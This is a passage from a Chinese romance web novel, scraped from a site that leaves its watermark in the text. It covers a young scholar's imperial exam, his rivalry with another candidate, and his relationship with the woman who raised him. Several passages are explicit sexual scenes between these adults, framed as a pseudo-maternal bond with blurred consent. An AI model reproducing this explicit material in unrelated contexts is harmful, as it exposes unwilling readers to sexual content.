而她不能毁掉陈锦时的大好锦绣前程,自然也,务必要把此事摁死在宅院里,她从来没有想过,此事会有一个十全十美的好结果。 陈锦时推门进来时,身上已卸了厚重的貂裘,只着件月白锦袍。 他抬手拂去肩上落的些微飞絮,声线更加沉稳:“我听说城外桃林大片的开了,明日得空,阿姆带我去看看?” 他明明可以说,他带她去看看,但恰好深知,请求她带他去看,更容易得到她的同意。 沈樱将信封收进匣子,放进柜子里,陈锦时便问:“谁的信?” 她没立刻回答,只走上前替他掸了掸肩头没拂净的飞絮,指腹蹭过他锦袍的料子,软滑得像春日里刚融的浸凉溪水。 “谢清樾。”她抬眼望他,见他眉梢微不可察地动了动,“他回京了,要准备春闱,只说没空前来拜访。” 陈锦时指尖轻轻搭上她的手腕,指腹在她腕间摩挲,力道稍紧。 她挑眉看他:“倒是你,还有心思嚷嚷着要去看桃花?若是这回你的名次在他之后,陈锦时,你的脸面可丢大了。” 她弯起唇角,反手握住他的手。 陈锦时垂眸看她,眼底含着融融的情,反而五指牢牢嵌入她的手掌。 “我怕他做什么?他早就输了。” 沈樱一怔,扭头看他:“他输什么了?” 他五指用力穿过,与她十指交握:“你早就说过了,我胸肌比他的大。” 考前三日,沈樱一如既往,替陈锦时备齐考具。 张若菱有心插手,就算如今府里的事务她已经可以全部自行处置了,却仍是插手不进陈锦时房里的事。 就连每季做新的衣裳,颜色布料也全要沈樱过手,张若菱做不了陈锦时的主。 官府要求的特制考篮里备礼笔墨纸砚、食物、衣物。 陈锦时坐在树下的躺椅上,随意翻书看着,打量着沈樱替他收拾筹备。 她忙得脚不沾地,他偏爱看她为他操这份心。 大不了,他晚上更加尽心地侍奉她。 阿姆从不是会在榻上说“不”之人,逼得陈锦时务必要千方百计、费尽心机。 因着宅邸狭小,沈樱连喘哼声都极少有,他很多次卯足了力,巴望着她不顾一切叫出声,盖过一切,飘到正房去,飘到整个宅院的正上空,肆意妄为的沉沦。 沈樱听见身后轻微响动,回头便见他支着手肘坐起身,目光黏在她身上。 “你明日起需要戒斋,不要再吃油腻辛辣之物了,免得身体不适,也需净心应考。” “都听你的。”他目光没离开过她。 “晚上早点休息,我就不留门了。” 他忽然起身走过去,从身后拢住她,下巴抵在她肩头,声音黏黏的:“我不闹你,就跟你说会儿话。” 沈樱被他抱得动弹不得,幸好,陈锦行如今整日不在家,张若菱正在房里午歇着。 她手里还捏着刚叠好的他的素色单 衣。 “明日要去领卷,还得早起,你该养足精神。乖一点,嗯?” 他“嗯”了一声,将头扯到一边,喉结上下滚动着,做了好几个吞咽的动作,呼吸很粗重。 他抓着她的手探进衣领,他解开自己的衣带。 “这样可以吗?”他呼吸急促,耳根已经有些红了,但仍然理直气壮地说出自己的要求。 他胸肌起伏,是极壮实的肌肉,尽管许久没有刻意锻炼过,也许是继承了他父亲的壮实体魄。 她表情冷静,看了他两眼,就在他即将要不确定,犹豫要不要退缩时,她手抽离出来,反手往下:“这里也可以。” 他愣了许久,脊背颤栗,脸颊发红,他没有想过可以这样。 可以请求她这样,亦或是,可以得到她这样的奖赏。 可惜他实在是才刚刚长大不久,这对他而言,太过壮烈刺激,以至于神魂俱颤,而并不能叫她把握多久。 他浑身的力气像是被抽走,额头抵在她肩头,粗重的喘息很快溢出,尽数落在她颈侧的衣料上。 他指尖攥着她的衣袖,务必要撑住她才能站立。 沈樱抬手轻轻拍了拍他的后背,动作带着点安抚的软意,另一只手慢慢抽出来,房间内气氛微妙,沈樱看着手掌发呆。 他颓丧地垂在她肩头,身体还在轻轻颤栗,她替他拢了拢半敞的衣领,他慢慢直起身,拿出手帕,一根一根擦净她的手指。 她本应抬起头来看他,终究是没有。怕他自卑。 陈锦时心想,她从来不知她对他来说意味着什么。 她轻而易举能让他溃不成军,一败涂地。 他从来都可以死在她的手上,他说真的。 只要她多来几次。 这大抵能成为他今晚的美梦。 三月初九,天还未亮,沈樱已起身忙碌,将笔墨纸砚、食物、衣物再次细细检查一遍。 陈锦时接过,目光落在她眼下淡淡的乌青,心疼道:“阿姆,你昨夜没睡好?” 沈樱摇了摇头,“无妨,只是念着你的事,有些辗转。” 他握着她的手:“你等我回来。” “嗯。”她抽出手,背过身,披了一件鹅黄色披风在肩上,“我送你去贡院。” 天还蒙着层青灰,巷子里只听得见陈家马车的轱辘声,混着偶尔掠过的风声。 沈樱侧头看他,他眼底还带着困意,将懒散的目光落在她身上。 她瞧他这副模样,真不像个满怀抱负进京赶考的举子。 好像一切都是被逼迫而为,他并不想站到这个地方来,无论是举人,还是进士的功名,他压根就不在乎,但他还是认认真真地准备了这场考试,他知道她想要他这样。 沈樱抬手替他理了理衣领,他今日穿了件素净的天青色长衫,外罩鸦青披风,领口系了她亲手打的穗子。 “陈锦时,打起精神来。” 陈锦时顺势抓住她的手按在自己胸前,指尖轻轻揉捏她的指骨。 她淡淡拂开他的手:“你看起来太散漫了。” 被她拂开,他一俯身,头埋进她怀里,声音闷闷:“我会好好考的,我只是现在没什么精神。” 路程不远,很快,马车就被前面黑压压的人群堵住了路。 他埋在她胸口,连眼睛都懒得睁开。 他往她怀里缩了缩,手臂环住她的腰。 沈樱没再推开他,她撩开车帘朝外看了一眼,天渐渐亮了些,青灰色的天幕染上了一抹淡白,她能清晰地感受到怀中人的呼吸,沉稳又温热,贪恋又痴迷。 “到了,陈锦时。” 他慢慢直起身,眼底还有点迷蒙湿润,却先伸手替她理了理被他蹭乱的衣领。 “沈樱,我走了。” 沈樱点头。 陈锦时深吸一口气,像是要把她的气息全都刻进肺腑。 贡院门前早已人头攒动,密密麻麻的考生涌动。远处,三座高大牌坊矗立着,在晨光中透着庄严肃穆。 牌坊之后,两座大门紧闭,每座门旁都有小厅,里面人影绰绰,那是负责稽查的差役,正严阵以待。 靠右的龙门前,考生们排着长队,一个个走进小屋,接受搜身。 沈樱撩开车帘正看着,不出意外,在不远处见到了谢清樾。 他肤色黑了些,身材更加健壮了些,但身上清雅气质却丝毫不减。 他与陈锦时不同,身为谢家公子,他身边围了不少举子。 可他也还是一眼看见挂着陈家木牌的马车。 视线落在沈樱身上时,微微顿了顿,沈樱没动,只轻轻点了点头作为回应。 却没想到,谢清樾先是与身边人打了声招呼,随即抬步朝她这处走来。 她坐在马车里,见状,只好下车。 沈樱刚掀开车帘,脚还没完全落地,谢清樾已走到近前,身上带着清润气息,拱手时姿态依旧温和,礼数周全:“都兰,许久不见。” 沈樱唇角不经意间扬起笑,陈锦时一改懒散姿态,站得身姿板正,立在她身后,此刻正皱起眉头。 谢清樾竟敢唤阿姆“都兰”。 谢清樾见了陈锦时,轻轻朝他点了下头。 年前陈锦时的示威举动,丝毫没能动摇谢清樾的心思。 他与陈锦时不同,他是一个成熟的男人。 只要都兰愿意,他当真可以娶她,八抬大轿的明媒正娶。这是陈锦时办不到的。 谢清樾不在意陈锦时的敌意,对手实在幼稚,以为亲密便是拥有? 都兰从楼烦来,只怕也从不会觉得,与陈锦时亲密,陈锦时就当真占有了她,她可以承认他属于了她,但她不会认为她完全属于了他。 也或者,她暂时地同意他成为她的男人,但不是永久。 这世上只有婚姻关系才是板上钉钉,夫妻二人就算再不同心同德,也死生都是一体。 陈锦时浑身气势丝毫不让,他大抵是幼稚,只认为自己求得了最想要的。 谢清樾不知道,陈锦时不要死生一体,也不要板上钉钉,他只是飞蛾扑火,不计结果。 他只要被她搂在怀里,便觉得一生也值得。 沈樱不知二人眉眼官司,也或许她知道,她不是很迟钝的女人,但她不在意这些。 她忽视一切:“好了,你们都早些进去吧,别误了时辰。” 陈锦时往前站了半步,对谢清樾扬了扬下巴:“谢公子还是快走吧,免得等会儿排队的人更多。” 谢清樾轻轻点头,尽管前面有不少人替他排了队,此时正朝他招手,他还是在队伍最末端站定了。 陈锦时最后望了沈樱一眼,朝她咧嘴笑了下。 沈樱沉默看他,没张口,转身上了马车,透过车窗注视他们二人。 一炷香后,两人恰好同一组进入小屋接受搜身。 差役推开门,朝两人扬了扬下巴:“都进来,把衣服脱光,仔细搜。” 陈锦时瞥了谢清樾一眼,手碰到衣领,顿了顿,把长衫脱得利落,露出结实肩背。 相比之下,谢清樾身上锦衣华服,就连解开外衫带子的动作都是慢条斯理。 江南织造局出的云纹缎,外罩一件鸦青纱质披风,边缘缝着浅灰鼠绒,月白绫缎、羊脂玉佩,衬得他姿容华贵,处处透着世家公子的精致。 两人逐渐都褪去里衣,露出匀称肌理,一个是常年被关在宅院里读书养出的净白,一个是刚在北境磨炼一番透出的浅金麦色。 “磨蹭什么?脱干净!裤衩子也别落下。”可惜差役并无心欣赏,“身上可别藏小抄,屁股缝里也要搜查,搜出来可就不是赶出去这么简单了!” 陈锦时乖乖抬起胳膊,臂展很长,谢清樾与他并肩,两人手臂交错。 旁边一差役调侃道:“我看两位倒是从军的好材料。” 陈锦时配合地转了个身,让差役搜查后背,他腰线收得干净,浑身透着股克制的匀称,并不十分膨出。 因在外历练的缘故,谢清樾较他要更加壮实些了。 他淡淡扫了眼陈锦时□□,察觉到他的目光,陈锦时“嘁”了一声:“谢公子,非礼勿视。” 从二人背后看,四瓣臀都挺翘而健硕,往上是窄腰宽肩,往下是笔直的长腿。 谢清樾收回目光,语气没什么波澜:“我看你细皮嫩肉的,病养好了吗?” 捜査完毕,陈锦时穿上绫裤,一手系上系带,眨了眨眼睛:“她很喜欢我。” “喜欢你什么?”谢清樾挑眉,也套上外衣。 “粉红色的粗壮蘑菇。” 谢清樾刚要斥骂,陈锦时又道:“你的太 黝黑了,她不会喜欢的。”这才慢慢拿起外衫往身上套。 谢清樾动作一顿,反倒脸红起来,心里发堵:“你,你真是莫名其妙。我这颜色明明是很正常的。” 谢清樾从未想过要跟人比这些,可陈锦时简直是幼稚无礼到了极致,他本不该在意,心上却被陈锦时精准扎了根刺上去。 他深吸一口气,压下情绪,待走出那间搜查身体的小屋,才道:“都兰不是看中这些肤浅东西的人,陈锦时,收起你的那些心思吧,我根本无意与你比较。” 陈锦时挑眉:“你想娶她?” 被戳中心思的谢清樾怔了一瞬,耳根发热。 “是又怎么样?”谢清樾的语气带着出身大族的郑重,“我若娶她,自会用三书六礼,给她光明正大的名分。” 陈锦时听完,之前的得意稍稍消退了些,苦笑着道:“你以为她是京城的深闺里教养出的那种女人?会稀罕你的明媒正娶?真是可惜,她想要的东西,我们没有一人能给她。” 他淡淡摇头,谢清樾看得怔愣。 他还想追问陈锦时,他嘴里所说的,都兰真正想要的东西,究竟是什么? 可惜陈锦时走得很快,春日的晨光落在他的素衣上,竟透出点说不清的怅然。 他捂着胸口,从袖中掏出药瓶吞了两粒药丸,他真是个没出息的男人。 所有人都说他,生得最像父亲,他天生亦有神力,也有着父亲给予的健壮身躯。 只可惜,他永远不能成为父亲。 沈樱也永远不会像信任父亲一样信任他,可以牢牢撑起她的天。 就算她从未表现出来,但他知道,她心底从未信任,她唯有在父亲面前才会那般安心。 她就算被他护在身下,也会时刻担心他忽然倒下。 她随时做好了接住他的准备。 陈锦时永远也不能成为父亲,这意味着父亲是她心里永远也不能被代替的存在。 陈锦时并非许久未犯过病了,只是比起像从前那样故意引发喘症得到她的爱怜,他如今更乐意提前吃药,好在床榻之间最为激烈的时刻,也不会露出丝毫虚弱,以免令她不能肆意沉沦,反而要抽身出来,赤身裸体地关怀赤身裸体的他,若是那样的话,他实在会感到羞愧无比。 陈锦时,你可真是个没用的男人。 沈樱一直在外等到朱红大门关上,才让车夫启程回府,三日后她会回到这里接陈锦时回家。 会试与乡试相同,总共九日,三日一歇。 回到府中,张若菱面露关切,迎上来:“送过去了?时哥儿瞧着精神如何?” 沈樱点头,在椅上坐下,接过张若菱奉来的茶:“嗯,瞧着精神,他知道事情轻重的,你放心。” “这几日你也别太熬着,好好歇两日,到时叫锦行去接就好。” 沈樱轻轻摇头:“我若不去,他会不高兴。” 第三日傍晚,沈樱提前半个时辰到了贡院外。她只是坐在马车里,陈锦时快步走来,掀开车帘,得偿所愿地见到她,只觉得再没有比这更令人心满意足的了。 “阿姆。”他声音带着点沙哑,掌心却依旧温热,“我没事,就是有点累了。” 他握住她的手,头轻轻抵在她肩头,她轻轻抚摸他的头颅:“好好歇一会儿吧,时哥儿。” 陈锦时身子一僵,缓缓睁开眼:“阿姆,你许久没这样叫我了。” 他抬手抚摸她的耳垂,轻轻捏着,目露贪恋。 “我不想被你当做孩子了,我想……算了。” 马车缓缓前行,沈樱俯身轻啄他的嘴唇。 他没有在这枚轻柔的吻里沉迷,他絮絮道:“我难以成为一座像父亲那样的山,我知道你也从不敢像信赖父亲那样信赖我,但我可以做你的伞,一把伞可能终将残破,但你大可将我举在头顶,就算我只剩下一副光秃秃的架子,我也可以盖在你头顶,不为什么,伞就是用来遮风挡雨的。” “那我怎么舍得……” 第50章 沈樱没继续说话,只一下一下轻啄他的唇。 他搂住她的脖颈,她轻哼一声,被他搂在胸前,他的手掌足够覆盖她的一颗头。 他眼眶忽然有些发热,只能将她紧紧抱住。 她抬手,轻轻拍着他的后背,动作带着安抚的软意。 “陈锦时,你是我精心照顾长大的,你不光不能做我的伞,我也不愿你成为任何人的伞。” “可你,你不需要一个像父亲那样的男人……” “我不需要。” 沈樱手撑着他腿起身,换了个姿势,坐得离他远了些,侧身仰躺在他腿上,从仰视角度观赏他的下颌。 “这些年,我也长大了不少,照顾你长大令我很有成就,我只要你如同一株肆意生长的植株,想晒太阳的时候就舒展枝丫,在雨天尽情地夺取雨水滋养自己,你只需要利用一切,成为你自己便好。” 她顿了顿,指尖忽然捏起他的手腕,轻轻掐住那处生机蓬勃的脉搏:“你是我一手带大的,你是我的,无论是皮肉还是骨架,任何一处受到伤害我会比任何一个人都心疼。” 陈锦时垂眸注视她,滚烫的热度顺着眼尾往下淌,滴在她额前的绒毛上。 沈樱抬手,替他擦泪。 “时哥儿,你小时候那般病痛,就算快死掉的时候,也未曾掉过一滴泪。” 很快,她的手背被濡湿,他拉着她的手,贴在脸上,摆动脑袋,无尽依偎。 比起哭出声,他落泪时沉默得倒不像他了。 她侧头,鼻尖抵在他结实的腹部,也轻轻嗅着。 他听出她的话中深意,她不允许他为了她牺牲自己的任何,自然也包括,他的前程。 他于她而言不光是一个需要替她遮风挡雨的男人,他更是她细心养护的孩子。 她翻起眉眼打量他,这个他亲手带大的男人,有着极其优越的躯体,极为英俊的面庞。 她全然体会过他的身体和灵魂,她喜欢他埋在她颈窝里,一边狠重喘息一边臀肌收缩。他的全然投入显得十分虔诚,他浑身带着欲望的动作更像是一种向她的朝拜。 她从不在这个过程中觉得他在占有她。 他在奉献自己,靠着那样的奉献,祈求她的垂怜。 她同样痴迷于此,他进攻的姿态非常迷人,她同样对他目眩神迷,她很想知道,他真正失控是什么样子? 此时她抬起手,轻轻抚弄他的面颊,他还在掉泪。 “阿姆,我只是想做更多。” “你已经做得很多了。” 他的眼泪令她柔软下来,她躺在他结实的腿上,嗅着他身上捂了三日并不清爽的气味。 “沈樱,我这次一定会考中。” “嗯。”她松开他的手腕,声音忽然变得冷淡,“到京城后你病情重了些,为何不说?” 陈锦时手腕撤回,眼神中添了几分慌乱。 “不算太重,吃了药都好了。” 京城气候较金陵更加寒冷干燥,喘症病根难消,就算从前控制得尚且不错,如今却又加重了。 若她不是今日掐住他脉搏探查,不知何时才会发现。 沈樱从他腿上起身,他感到失落。 “我会帮你重新调整方子,陈锦时,你先好好考完试。” 他背抵在车厢壁上,看她:“我知道了。” 马车渐渐驶近宅院,沈樱抬手理了理衣襟:“先下去吧,家里等着吃饭。” 陈锦时跟着她下车,身躯在她身后也显得高大,牢牢缀在她身后是他的习惯。 张若菱迎上来,使人替他卸下披风。 “可算回来了,你哥方才还问你。” 陈锦时解下披风,神色稍显疲乏:“我哥这么早就回来了?” “也不早了,这几日宫里没多少事务。”张若菱在前面走着。 陈锦时却没动,脚步还黏在沈樱身后,直到她动身,才乖乖跟着往里走。 进屋,陈锦行坐在上位,见沈樱来了,起身让她,几人一坐下,丫鬟端上冒着热气的羹汤。 自年后,府上遣散了不少下人,总算不显得拥挤。 陈锦时与陈锦行在沈樱左右两边落座,看了对方一眼,谁都没张口说话。 陈锦行如今眼神愈发显得冷厉沉稳,陈锦时也褪去了那些桀骜不驯,愈发显得矜傲自持。 桌上汤羹冒着白汽,咸香漫开。陈锦行先端起碗,用汤勺轻轻搅了搅,目光扫过陈锦时眼下的青黑,语气平淡:“贡院里住得还惯?” “还行,就是夜里有点冷,阿姆给我带了炉子,用着正好。” 沈樱指尖顿了顿,瞥了他一眼,没说话。 陈锦行眉头微不可察地皱了一下:“后日复试,我恰好休沐,可送你去贡院。” “不用了。”陈锦时似笑非笑,“阿姆可以送我。” 陈锦行也没坚持,轻点了下头,舀了一汤勺汤羹入口。 饭后,沈樱站在廊下,张若菱递了件披风给她:“夜里风大,披着点吧。” 沈樱接过披风拢在肩上,指尖触到柔软的兔毛里子,暖意在肩头漫开。她望着院角那株刚冒芽的海棠,轻声道:“这几日辛苦你了,府里事多。” “我有什么辛苦的呀,府里拢共才这几个人,时哥儿又是一向不要我操心的。” 沈樱刚要说话,就见陈锦时从屋里出来,陈锦行紧随其后,两人方才留在屋中说了会儿话。 他走到她身边,自然地揽过她的肩。 陈锦行站在几步外:“晚上早点歇息。” 陈锦时拉着沈樱往另一头走:“知道了。” 九日的考试结束那日,沈樱去贡院接他。 他满脸疲累,素色长衫上沾了些尘土,下颌也冒出了些青茬。 谢清樾紧随其后,见了她,忙上前拱手。 “都兰,我过两日到府上拜访。” 沈樱朝他温婉地笑着颔首:“当然,我就在府上恭候。” 谢清樾眼神从两人身上扫过,自上次对话过后,陈锦时没再对他露出挑衅神情,他只是沉沉地在那里站着。 刚从贡院出来,两人都很疲累,无心多说多争。 “我先告辞了。” “谢公子慢走。” 接下来几日,沈樱整日在府中替陈锦时调配新药。苏兰舟来信告知她“都兰蒙药”的现状,寄了一半的营收给她,是好大一笔钱。 后院天井搭了一间小药房,沈樱在药房里蹲了半宿。陈锦时睡了三天三夜的大觉,忽然在一个天还未亮的清晨醒了过来。 青石药臼里捣着川贝,力道得拿捏得恰到好处才不破坏药性,她手腕酸了便换只手。 “阿姆。” 陈锦时没穿外袍,只披了件青色夹袄,领口松着。 “怎么不多穿件衣裳?”沈樱把药碗往旁边挪了挪。 她抬眸看他,夜里药房里点着昏暗的灯烛,她恍然发觉天已快亮了,竟丝毫不知疲倦。 陈锦时倚在门框,下颌青胡茬冒出短短的一截。 “我不冷,我好想你。” 在绵长的,不知白天黑夜的睡眠过后,他骤然惊醒,疲乏终于尽数消散,变得清醒无比,紧接着迎来无比的空虚与怅然若失,直到走到这里,看到她在这里,伴随着熟悉的药香,和杵子在石臼里捣出的声响,她宽展的肩背、茂盛浅褐的头发,她温润浅淡的眉眼,不知疲倦日复一日,他的心又瞬间被填得满满当当。 真好啊~ 他唇角挂起浅浅的笑:“阿姆,你一夜也没睡吗?” “嗯,我不困。”沈樱放下杵子,全心全意看他,“睡醒了怎么不叫人,想吃些什么?我去叫厨房安排。” 她要起身,他拉住她的手,从身后环住她的腰,下巴抵在她发顶蹭了蹭。药房里满是川贝与杏仁的清苦,混着她发间淡淡的皂角味。怎么这么令人着迷。 “我梦里没你,真是好遗憾,直到我快醒来时,我才梦见你,不过我梦见我醒来找你,你却不在了。你别就这样离去好吗?” 他声音闷在她肩头,指尖轻轻勾着她衣襟上的玉扣。 他一直都知道她准备离去,这对他来说早不是什么被刻意瞒着的秘密了。 但他不知道她最近写回楼烦的信。 她心口发软,转过身,指腹蹭他冒出来的胡茬,有点扎手。 “你刮刮胡子,瞧着都有点显老了。” 陈锦时喉结滚了滚,他逐渐凑近,他口中有牙粉的丁香气味,是简单收拾过自己才来找她的。 “我老吗?”他抓着她的手指在下颌摩挲,她抚过他的唇,他目光一瞬不瞬地盯着她,“阿姆,你喜欢年轻的?”那他不是正好嘛。 任由那点扎人的胡茬蹭着她的掌心:“阿姆替我刮。” 沈樱没法拒绝他,点头应下。 两人往卧房走,初透的天光在宅院里软得像团棉花。 铜盆里盛着温水,沈樱取过刮刀,在皂角泡里沾了沾。 陈锦时坐在她的躺椅上,很乖地微微仰头,狭长含着光的眉眼一直看着她。 “别乱动。”她轻轻靠近,手掌扶着他的脸颊,鼻息温热地铺洒在他脸上。 他喉结滚动,单手搂住她的脖颈,轻啄上去。 起先是浅吻,她手上的刮刀举在半空,浅浅回吻。 他的胡茬在她唇瓣上,磨得人发晕。攻击化为实质,全面侵占她的感官。 沈樱的唇被磨得红肿,他给了她一些疼痛的触感。 但她并不准备推开他,他逐渐加深这个吻,他吮咬她的唇瓣,鼻尖在她的鼻尖上抚蹭。 沈樱的呼吸先乱了。 她痴迷于一种粗粝。 带着点痒,又掺了点细碎的疼。 不是尖锐的刺,是温温的、磨人的痒意,从唇瓣一直渗到心口。 让她想起幼时,皮肤在铺着稻草的炕上入睡的触感。 唇齿相触时,胡茬还在轻轻磨着她的唇,把那点软肉蹭得泛红,舌尖却是温软的,卷得她全身都发软了。 她没推他,手掌只是柔柔放在他的胸膛,那里的皮肤是烫的,还能摸到他因为紧张而微微绷紧的肌肉。 他松了口,额角抵着她,她撑着他起身。 “阿姆……”只是一个吻而已,他却喟叹不已。 这叫沈樱如何不爱他,怜他。 她睁开眼,能看见他眼底盛着的光,眼尾泛红,呼吸里带着未褪的情动。 她忍不住抬手,指尖轻轻蹭过他的下巴,触感温温,他捏着她手,五指抚蹭而过。 “好了,开始吧。”她重新拿起刮刀。 他安分地闭上眼,只是在她指腹从他皮肤上摩挲而过时,总是忍不住要抬手抚过她的手背,虚虚拢在手心,目光从她的眉眼滑到唇角。 天光大亮,沉睡的安静府邸逐渐喧闹起来。 三月的阳光已经能让人感受到明显的暖意,她抚摸着他光洁干净的下颌,将刮刀洗净收起来。 “起来吧,你该去你哥哥嫂嫂面前请个安。” 门外已经传来下人洒扫的动静,隐隐约约夹杂着张若菱的声音。 厨房上空升起炊烟,整个宅院瞬时弥漫起烟火气。 陈锦时懒懒起身,肩膀蹭着她:“知道了,阿姆。” 陈锦行坐在正厅用早膳,张若菱站在他身侧与陈兴对账。 陈锦时重整了衣冠,大步走进来。 “哥,早。” 陈锦行喝茶的动作一顿,抬眼看他,冷厉眉眼稍稍融化,漾出点温柔。 “睡醒了?” 张若菱亲手盛了碗粥:“时哥儿快来吃点东西。” 陈锦时在桌边坐下,双手接过:“多谢嫂嫂。” “我打听过了,放榜大约还有半月时日,这半月,你便安生在府里待着,我不管你行事,只要别闯祸就行。”陈锦行语气平淡,却难得带了点纵容。 “知道了。”陈锦时含糊应了声,“对了,哥,你在太医院待得怎么样?没人欺负你吧。”他挑着眉问。 陈锦行唇角淡笑:“太医院都是按资历行事,我初来乍 到,自然要多费些心神。”他抬眸看向陈锦时,冷硬线条又柔和几分。 “哥哥,那你见过陛下了吗?” 陈锦行顿了顿,看向陈锦时,语气多了几分郑重:“陛下威严,我只远远见了一面。你若真能进殿试,也不必害怕。” 陈锦时双手举在后颈垫着,唇角的笑意一直松松挂着,闻言“嗯”了一声。 “我肯定会进的,哥哥。” 陈锦行眉梢挑了挑:“随你怎么说。” 他起身:“我进宫上值,陈锦时,你自己待着。” 张若菱取来披风,送他出门。 陈锦行正要出门,忽然止住脚步:“对了,这两日南方有水患,你这几日可以把《漕运志》《农桑辑要》翻上几遍,查查水患旧案,陛下有可能会考这些。” 陈锦时颔首:“我知道了,哥哥。” …… 今日放榜,陈锦时知道今日放榜,但他并不心急。 天刚蒙蒙亮,窗纸透进浅淡的光。他还睡着,呼吸轻匀,额前碎发垂着,褪去了平日矜傲。 她指尖轻轻蹭过他的下颌,他的头很沉,栽在她胸脯上,压得她呼吸沉重。 “陈锦时,起来了。” 陈锦时缓缓睁开眼,眼底朦胧,握住她的手腕,往自己唇边送,轻轻啄了下她的指尖。 “我不想起来,阿姆。” 沈樱指尖被他啄得发痒,另一只手轻轻揉着他的后颈:“不起来怎么办呢?” 陈锦时喉结动了动,更紧地抱着她,手从她衣摆伸进去。 “我想。” 沈樱闭上眼,她能闻到他呼吸里带着的,属于她的气息,还有草药的味道。 他把脸埋得更深,嗓音闷沉沙哑,手掌在慢慢摸索,带着撒娇的黏糊。她生得丰润,并不生得含蓄凹陷。这让他难免有些遗憾,小的时候,更小一些的时候,如果能品尝的话…… 他到底不是她真正的孩子,可他仍能重新品味,以一个成年男子的状态和心态,无味,只有干燥弹软,盈满口腔,他贪婪地吮吸,他举起她的两只手臂,以便更好地展开她。 沈樱仰躺着俯视他,目眩神迷,而她却在审视他,在他濒临失控的边缘,她说: “不要对阿姆不敬。” 他玩弄得太厉害了,她好像沦为了他的餐食。 他动作顿住,面容瞬间变得惶恐。 埋在她颈间的脑袋微微抬起,眼底还蒙着懵懂的雾,他喉结滚了滚,手掌慢慢撤出,不敢再肆意。 她是那般神圣地审视,她注视他的无措慌乱,她故作如此,哪怕这样只会激得他更加爆发,她恰恰想切身体会。 他缓缓撤出一切,退到一个令她感到安全的地步,卑微发问。 “我哪里做得不好了吗?” 他的双臂撑在她身体两边,并未完全撤出。 若她现在挥开他……可惜他抵住她的地方并不掩饰。 她淡漠点头:“你做得不好,你应该对我恭敬一点。” 他手掌住她的肩,将她往下抱,面容虔诚,可惜动作仍是一种攻击。他捧着她的面颊,微微颤抖,低声发问:“这样恭敬吗?阿姆。” 这样的动作实在称不上恭敬,这明明是一种很无礼的闯入行为。 她淡淡地看他,轻轻摇头:“不可以,这样不可以。” 他已搂住她的肩狠狠下沉,同时,咬住她的耳尖叫她听见他的低喘舒适。阿姆,陈锦时现在很满足。 她觉得自己很坏,他压迫住她,展现出前所未有的侵略,而她仍在审视他,那是一种让人感到十分羞愧的审视,她说:“不要对阿姆不敬。” 这对他是一种很严厉的指责。 其实她什么也不会做,不会挥开他,不会表扬他,不会向他诉说自己的舒适。 因为……这样会激得他更加失控。 他既要侍奉她,也要得到她的肯定夸奖,如果她什么也不说,他会奉献一切,直到她说出夸奖,或是在他耳边溢出哼声。 陈锦时迟迟未去看榜,直到市井里的报榜人把消息传来。 院外忽然传来一阵急促的马蹄声,紧接着是敲锣的通天脆响,混着中气十足的吆喝。 沈樱在险些沉迷之中清醒了片刻。 她手撑着陈锦时的肩:“报榜的来了。” 她掐着他绷紧的脊背,可惜他如今并不是能抽身的时机。他听不见她的话,也听不见外面锣鼓喧天。 喉间溢出一声含糊的应和,将她的手从肩上捉下,摁在头顶。 沈樱逐渐重新沉溺,眼底溢出笑意,灿若星光地盯着他。 语气平静:“陈锦时,你考中了,要不不会有人来报榜的。” 陈锦时单手掐住她的手腕,另一只手掌住她的肩,将人往下沉,他俯身闻着她发烫的耳垂,哑声道:“你说,你最喜欢陈锦时,陈锦时最听话,最听阿姆的话,你每天都要夸陈锦时,陈锦时从不让你失望,你要陈锦时全都给你,永生永世都属于你,虔诚侍奉你……” 沈樱扬起脖颈,红唇微张,终于溢出轻哼,她想说,却说不出口。 陈锦时的手掌从她肩上缓缓来到她的脖颈,虚虚拢住,却又拢得实实在在,全然掌握。 “阿姆,你说吧,说吧,你不说,我不知该不该……” 她眼底眉梢满是笑意,尽管被他束缚住,却还是在压抑的喘声中,将话语尽数表述:“陈锦时,我最喜欢你,你最听话,是我最乖的孩子,你生得高大漂亮,我喜欢你优越的皮囊,喜欢你结实的身躯,我要你永生永世都属于我,我要你侍奉我,全都给我……” “嗯——”他紧扣她手腕的力道缓缓松开,掌心转而轻轻覆在她的后颈,呼吸里还带着未能平缓的急促,喉间终于溢出满足的喟叹。 他指尖轻轻摩挲着她颈间柔滑的肌肤,额头抵在她额上,汗水黏腻地洒在她身上。 “我知道了,阿姆,我跟你保证。” 他声音哑得厉害,沈樱闭上眼,轻轻吻他。 张若菱在正厅见了报榜人,备了赏钱送去。 昨晚沈姑娘说了,早上亲自过去看榜,她倒以为两人一大早上出门去了。 陈锦时没动,更紧地抱着她,沈樱也不催他,只是抬手轻轻抚过他的头发,心里却乱得一塌糊涂。 陈锦时不会再是京城里的无名氏,他的前程,他的婚事,他这个人本身,从此会被许多人注目。 他们被藏在这个狭小宅院里的一切,很快会随风飘散。 就像从来没有存在过一样。 他再也不会被兄长关在房间里,每晚偷偷溜出来找她。 独属于她的陈锦时,不再独属于她。 沈樱的指尖轻轻划过他结实的背脊,忽然埋头,在他肩胛上狠狠咬下一口。 “唔——”她狠狠咬下,便停在那里,唾液混着汗液,舌尖尝到咸苦气味。 陈锦时吃痛,将她往怀里紧了紧:“怎么了?” 顿了顿,又补充道:“你若想咬我,如何都行,嚼碎了都行,我不怕疼。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-55 第51章 沈樱心想,陈锦时本就不可能独属于她。 这个世上,从无谁专属谁之理,皆为独立之体,各有其命途,各承其忧戚。 情意是来来去去,热情是来来去去,人与人之间也是来来去去。 她从没想过厮守一生,正因如此,她才同意与他荒唐这样一段时日。 事到如今,快要到结束的时候了。 但沈樱不是不告而别之人,尤其是现在,她觉得在自己与陈锦时的感情中,她需要讲些义气。 所谓义气,便是君不遣我,未到万不得已,我便不离。 她不让陈锦时伤心难过。 她松开他:“抱歉,咬疼你了。” 她为此道歉,陈锦时反而心慌意乱。 “阿姆,你永远不必向我道歉。” 他抬手摸了下肩胛处的齿痕,整整齐齐凹下去两道弯弧,他俯身,亲吻她 的眼角。 “是不是我哪里做的不好,惹你不高兴了?” 沈樱偏过头,避开他的目光,指尖轻轻拢上散乱的衣襟,语气尽量放得平淡:“没有,我们该起来了,谒见座师的事情,你可与你大哥商量。” 张若菱久等人不回来,差些要打发人过去找了,就见两人一前一后从厢房里出来,衣着端正。 “你们这是……没出门?” 陈锦时拿起桌上的会试榜单抄本,仅列了贡士姓名,轻声应了句:“嫂嫂费心了。” 